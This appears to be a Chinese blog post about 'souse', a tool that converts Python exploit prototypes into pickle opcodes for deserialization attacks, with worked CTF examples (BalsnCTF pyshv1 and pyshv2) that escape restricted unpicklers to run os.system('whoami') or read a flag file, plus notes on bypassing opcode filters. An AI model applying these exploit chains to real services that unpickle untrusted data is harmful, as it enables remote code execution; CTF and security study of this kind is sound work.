Py学习  »  Python

souse — Python 反序列化攻击辅助工具

橘子杀手 • 2 年前 • 234 次点击  

🍊 souse — Python 反序列化攻击辅助工具

这是橘子杀手的第 45 篇文章
题图摄于:杭州 · 茅家埠

☁️ 介绍

上一篇介绍了 Python 反序列化的知识点。其实大家在打 ctf 或者是挖洞的时候,遇到这种漏洞经常会用 __reduce__ 来构造。但是如果利用链比较复杂,__reduce__ 是不能用的,只能手动构造  

可是这都 2022 年了,谁还手搓 opcode? 如果有一个工具能实现从 Python 代码到 opcode 的翻译,岂不是美滋滋?

这就是 souse 的功能之一:自动化构造 opcode。

☁️ 原理

其实 souse 的实现并不复杂。

既然要翻译我们就需要熟悉编译原理,要不怎么构造语法树呢?自己搞语法分析还是太麻烦了,Python 标准库 ast 直接可以用于解析 Python 文件,变成一个语法树。继承 ast.NodeVisitor 之后呢,就可以方便地处理各种语句,例如 def visit_Assign,这是用来处理赋值语句的、def visit_Import 这是用来处理 import 语句的... 

其中比较复杂的是赋值语句(需要处理左值右值)和属性的获取/赋值。各位看代码就知道了,我就不啰嗦了。

搞定常用的几种语法之后,我们每次在进行反序列化攻击的时候,只需要写好 Python 代码形式的利用原型,就可以让 souse 帮我们自动翻译了  

☁️ 使用示例

https://github.com/Macr0phag3/souse

有这些参数:

  1. --check: 生成 opcode 之后会执行 opcode,用于检查利用是否成功
  2. --no-optimize: 不需要精简 opcode
  3. -f FILENAME: 指定 Python 代码原型
  4. --run-test: 用于测试 souse 是否正确翻译(仅开发者会用到)
  5. -p BYPASS: 指定过滤规则,souse 会自动帮你 bypass

接下来,利用《SecMap - 反序列化(Python)》中的课后题,以及我自己的一些 test 例子,来一起看下如何自动化地搓出 opcode

🌧 2019 BalsnCTF pyshv1

这道题根据思路,我们可以写出 Python 代码形式的利用原型:

import sys

poc = sys.modules
poc["sys"] = poc

import sys
poc["sys"] = sys.get("os")

import sys
sys.system("whoami")

然后用 souse 转一下就可以获得最终的 payload:

非常的银杏化。

🌧 2019 BalsnCTF pyshv2

根据思路,我们写出 Python 利用原型:

from structs import __dict__, __builtins__, __getattribute__

__dict__["structs"] = __builtins__
__builtins__['__import__'] = __getattribute__

from structs import get

a = get("eval")
a('print(open("./flag").read())')

自动翻译:

🌧 其他复杂示例

对于比较复杂的原型,souse 也可以自动转换  

combo-2.py

from builtins import getattr, dict, globals

get = getattr(dict, 'get')
g = globals()
__builtins__ = get(g, '__builtins__')
f = getattr(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'setattr')

combo-3.py

from math import sin, cos, tan

k = {
    sin(cos(tan(cos(sin(tan(1)))))): {
        sin(cos(sin(cos(sin(1))))): cos(sin(cos(sin(cos(1)))))
    }
}

这些复杂的示例如果用手搓,那可真够搓一搓的  

🌧 bypass 示例

bypass 的手段不是很全,因为目前我还没遇到非得 bypass 的情况,所以这个功能就当写着玩。

首先我们需要写一个文件,来代表过滤规则。type 代表是白名单(white)还是黑名单(black)。rules 里面的键都是 opcode,后面是 opcode 带的值(如果是统配符 *,其实就相当于禁止使用这个 opcode)。例如:

这个文件说明,opcode 禁止使用 VI01I100

在这个限制下,souse 会寻找其他 opcode 来代替:

从而实现 bypass。

当然,bypass 的手段还是很多的,但是我没动力继续写了,因为确实没遇到过这么严格的过滤,如果有遇到我再写吧  

🌧 无法处理的情况

当然,souse 也有一些无法处理的情况:

from sys import modules

modules.get("os").system("whoami")

在这些情况下,我们需要利用反序列化攻击的知识点,把 Python 原型代码拆成功能等价的简单代码,再用 souse 翻译即可。

☁️ 结尾

有了 souse 之后,我们只需要关心如何写出正确的 Python 原型代码即可。这个原型代码是可以直接运行的,所以非常方便我们测试 payload  

开头说到,这个功能是 souse 的功能之一,那 souse 后面还打算加入哪些功能呢?我准备把 souse 变成 flask 的一个攻击辅助工具,新增一下子属性递归(用于辅助沙盒逃逸)、session 伪造(攻击 flask 的常见手法)、flask SSTI bypass 等等


最近我的状态就和中丐股一样
一直下滑滑滑滑滑
下一篇应该是 SSTI
我在纠结要咋发
一篇一篇发有点水数量的嫌疑
不过管他呢



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/129146
 
234 次点击